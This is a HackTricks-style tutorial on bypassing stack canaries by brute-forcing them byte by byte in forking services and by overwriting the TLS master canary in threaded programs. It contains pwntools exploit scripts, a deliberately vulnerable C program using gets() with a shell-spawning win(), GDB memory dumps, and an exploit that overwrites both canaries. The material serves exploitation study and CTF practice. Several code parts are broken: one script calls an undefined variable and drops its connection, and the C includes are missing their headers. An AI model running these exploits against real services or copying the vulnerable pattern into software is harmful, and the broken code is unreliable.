# BF Forked & Threaded Stack Canaries {{#include ../../../../banners/hacktricks-training.md}} **If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** ![](<../../../../images/image (144).png>) > [!TIP] > Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ > However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. ## Brute force Canary The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**. Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**): ### Example 1 This example is implemented for 64bits but could be easily implemented for 32 bits. ```python from pwn import * def connect(): r = remote("localhost", 8788) def get_bf(base): canary = "" guess = 0x0 base += canary while len(canary) < 8: while guess != 0xff: r = connect() r.recvuntil("Username: ") r.send(base + chr(guess)) if "SOME OUTPUT" in r.clean(): print "Guessed correct byte:", format(guess, '02x') canary += chr(guess) base += chr(guess) guess = 0x0 r.close() break else: guess += 1 r.close() print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) return base canary_offset = 1176 base = "A" * canary_offset print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` ### Example 2 This is implemented for 32 bits, but this could be easily changed to 64bits.\ Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload. ```python from pwn import * # Here is the function to brute force the canary def breakCanary(): known_canary = b"" test_canary = 0x0 len_bytes_to_read = 0x21 for j in range(0, 4): # Iterate up to 0xff times to brute force all posible values for byte for test_canary in range(0xff): print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") # Send the current input size target.send(len_bytes_to_read.to_bytes(1, "little")) # Send this iterations canary target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) # Scan in the output, determine if we have a correct value output = target.recvuntil(b"exit.") if b"YUM" in output: # If we have a correct value, record the canary value, reset the canary value, and move on print(" - next byte is: " + hex(test_canary)) known_canary = known_canary + test_canary.to_bytes(1, "little") len_bytes_to_read += 1 break # Return the canary return known_canary # Start the target process target = process('./feedme') #gdb.attach(target) # Brute force the canary canary = breakCanary() log.info(f"The canary is: {canary}") ``` ## Threads Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-force** a canary if the binary spawns a new thread every time an attack happens. A buffer overflow in a threaded function protected with canary can be used to modify the master canary of the process. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified). ### Example The following program is vulnerable to Buffer Overflow, but it is compiled with canary: ```c #include #include #include #include // gcc thread_canary.c -no-pie -l pthread -o thread_canary void win() { execve("/bin/sh", NULL, NULL); } void* vuln() { char data[0x20]; gets(data); } int main() { pthread_t thread; pthread_create(&thread, NULL, vuln, NULL); pthread_join(thread, NULL); return 0; } ``` Notice that `vuln` is called inside a thread. In GDB we can take a look at `vuln`, specifically, at the point where the program calls `gets` to read input data: ```bash gef> break gets Breakpoint 1 at 0x4010a0 gef> run ... gef> x/10gx $rdi 0x7ffff7d7ee20: 0x0000000000000000 0x0000000000000000 0x7ffff7d7ee30: 0x0000000000000000 0x0000000000000000 0x7ffff7d7ee40: 0x0000000000000000 0x493fdc653a156800 0x7ffff7d7ee50: 0x0000000000000000 0x00007ffff7e17ac3 0x7ffff7d7ee60: 0x0000000000000000 0x00007ffff7d7f640 ``` The above represents the address of `data`, where the program will write user input. The stack canary is found at `0x7ffff7d7ee48` (`0x493fdc653a156800`), and the return address is at `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`): ```bash gef> telescope $rdi 8 -n 0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000 <- $rdi 0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000 0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000 0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000 0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000 0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800 <- canary 0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000 <- $rbp 0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 -> 0xe8ff31fffffe6fe9 <- retaddr[2] ``` Notice that the stack addresses do not belong to the actual stack: ```bash gef> vmmap stack [ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ] Start End Size Offset Perm Path 0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <- $rbx, $rsp, $rbp, $rsi, $rdi, $r12 0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $r9, $r15 ``` The thread's stack is placed above the Thread Local Storage (TLS), where the master canary is stored: ```bash gef> tls $tls = 0x7ffff7d7f640 ... ---------------------------------------------------------------------------- TLS ---------------------------------------------------------------------------- 0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640 -> [loop detected] <- $rbx, $r12 0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0 -> 0x0000000000000001 0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640 -> [loop detected] 0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001 0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000 0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800 <- canary 0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4 <- PTR_MANGLE cookie 0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000 ... ``` > [!TIP] > Some of the above GDB functions are defined on an extension called [bata24/gef](https://github.com/bata24/gef), which has more features than the usual [hugsy/gef](https://github.com/hugsy/gef). As a result, a large Buffer Overflow can allow to modify both the stack canary and the master canary in the TLS. This is the offset: ```bash gef> p/x 0x7ffff7d7f668 - $rdi $1 = 0x848 ``` This is a short exploit to call `win`: ```python from pwn import * context.binary = 'thread_canary' payload = b'A' * 0x28 # buffer overflow offset payload += b'BBBBBBBB' # overwritting stack canary payload += b'A' * 8 # saved $rbp payload += p64(context.binary.sym.win) # return address payload += b'A' * (0x848 - len(payload)) # padding payload += b'BBBBBBBB' # overwritting master canary io = context.binary.process() io.sendline(payload) io.interactive() ``` ## Other examples & references - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. - [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) - 64 bits, no PIE, nx, modify thread and master canary.